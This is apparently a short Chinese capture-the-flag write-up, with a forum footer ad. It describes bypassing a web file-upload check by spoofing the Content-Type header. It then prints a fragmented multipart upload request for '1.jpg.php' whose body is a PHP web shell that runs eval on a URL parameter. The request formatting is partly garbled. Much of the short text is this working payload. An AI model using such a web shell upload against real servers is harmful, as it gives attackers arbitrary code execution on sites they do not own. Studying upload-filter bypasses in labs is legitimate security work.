查看hint获得上传点，改上传的Content-Type即可（文件名似乎也在判断里，但能传就不继续测了），upload目录直接访问403，没改上传的文件名。直接传即可
-
WebKitFormBoundarypN5AvVAITKq3dCmK
Content
Disposition: form
data; name
=
"upload_file"
; filename
"1.jpg.php"
Type
: image
/
jpeg
<?php phpinfo();
eval
($_GET[
1
]);
"submit"
上传
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！
